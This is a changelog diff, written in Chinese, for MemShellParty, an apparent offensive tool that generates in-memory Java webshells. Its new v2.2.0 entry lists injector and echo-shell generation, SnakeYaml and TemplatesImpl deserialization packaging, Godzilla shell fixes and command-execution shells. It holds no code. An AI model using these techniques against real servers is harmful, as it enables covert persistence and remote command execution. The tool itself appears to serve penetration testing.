+## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20
+
+### Added
+
+1. 内存马注入器支持接入回显 toString 打印 contextPath 等注入成功或错误信息（By @ReaJason）
+2. boot 新增通过字节码 base64 获取类名接口，并支持自定义内存马使用随机类名或原始类名
+3. 适配 Apusic 9.0.1 版本（金蝶 EAS Cloud）
+4. UI 在 JSP/Base64/序列化相关 payload 生成时添加下载按钮便于下载 JSP 文件/注入器 Class 文件/原始序列化文件
+5. 支持注入器或回显马添加静态代码块执行构造方法调用，解决部分场景下无法手动调用构造方法
+6. 支持 SpringWebMVC 回显马生成（#107）
+7. 添加 Jetty 12 中 ee11 的内存马注入支持和靶场测试用例
+8. 支持 ScriptEngineJar 打包方式（SnakeYaml 漏洞注入，#109）
+9. 支持 AbstractTranslet 打包方式，方便 TemplatesImpl 反序列化漏洞注入
+10. 支持脚本引擎执行回显马生成，方便调试
+
+### Fixed
+
+1. 修复自定义内存马生成报错（#102、#106，Thanks @love71 and @m0s30）
+2. 修复 Tomcat Valve 仅单个情况下注入 ProxyValve 导致站挂掉（#105 Thanks @love71）
+3. 默认哥斯拉内存马去除对 session 的依赖，解决部分场景下 session 为 null 导致无法连接
+
+### Changed
+
+1. 命令执行内存马和命令执行回显马支持从参数或请求头中获取命令参数
+2. 调整靶场构建使用的 openjdk 改为 eclipse-temurin
+3. 依赖更新

 ### Added
@@ -29,12 +58,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效（#89 Thanks @yinsel） 
 4. 修复自定义内存马中，不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑（使用自定义内存马请参考：[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现，否则会出现不可用的问题）
 5. 修复使用 SDK 时，Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
+6. 修复 Tomcat Listener 注入会使之前所有 Listener 失效（#93）
 
 ### Changed
 
 1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader，使得回显马可多次执行
 2. 去除 logback（java11）和 okhttp 无用依赖，解决使用 SDK 打包部分场景会出现类版本不支持的问题
-3. 实现 @SuperBuilder 自定义 Builder 简化配置类的创建代码（#9f8f3baa）
+3. 实现 Lombok SuperBuilder 自定义 Builder 简化配置类的创建代码（#9f8f3baa）
 4. 优化命令执行内存马，改为和回显马逻辑一致，使用 ProcessBuilder.redirectErrorStream 简化流读取
 5. 修改 packer 中脚本存放添加 memshell-party 一级，防止打包成 fatjar 时文件全在根目录，可能会被覆盖导致功能破坏
 6. 优化资源读取，通过工具类 loadTemplateFromResource 统一实现
